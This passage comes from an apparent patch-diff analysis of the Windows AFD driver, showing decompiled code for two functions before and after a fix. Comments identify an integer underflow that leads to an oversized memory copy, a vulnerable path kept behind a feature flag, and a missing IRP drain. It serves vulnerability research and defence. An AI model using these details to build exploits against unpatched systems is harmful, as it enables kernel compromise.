&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// v31 &amp;gt;= 6, so v31-2 &amp;gt;= 4, no underflow&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v37&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v37&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v37&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v37&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;// [conn+0xAC] == 0 : subtract-8 path (VULNERABLE)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v39&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v39&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// v31 in {6,7}: v31-8 is negative; branch taken&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// v40 is unsigned __int16 -&amp;gt; 0xFFFE / 0xFFFF&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v39&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// OVERSIZED copy (up to ~65534 bytes)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED — AfdSanAcceptCore @ 0x1C007508C&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v52&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// subtract-2 path: unchanged&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... identical to unpatched subtract-2 path ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_1191968056_61054031_FeatureDescriptorDetails&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// NEW: explicit lower-bound check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v39&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// SAFE: zero-fill, no subtraction&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v43&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// safe here: v35 &amp;gt;= 8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... bounded copy of at most (v35 - 8) bytes ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// feature OFF: old subtract-8 path is preserved (still underflows for size 6/7)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v47&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v47&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... memmove with v48 ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2 — &lt;code&gt;AfdTLListenComplete&lt;/code&gt; (Failed-Listen Completion — Missing IRP Drain)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED — AfdTLListenComplete @ 0x1C005AB60&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// failed-listen (abort) branch&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeAcquireInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// lock at conn+0x30&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// [conn+8] &amp;amp;= ~3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CompletionKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// conn[0xA8]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;85&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// conn[0xAA]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mi"&gt;4u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// clear flag 0x4&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// NO drain of the pending listen-IRP list at conn+0x70&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// ... AfdDerefTLBaseEndpoint(FsContext); IofCompleteRequest(Irp, ...) ...&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED — AfdTLListenComplete @ 0x1C0059850&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeAcquireInStackQueuedSpinLock&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CompletionKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;85&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Tail&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="n"&gt;Flink&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mi"&gt;4u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
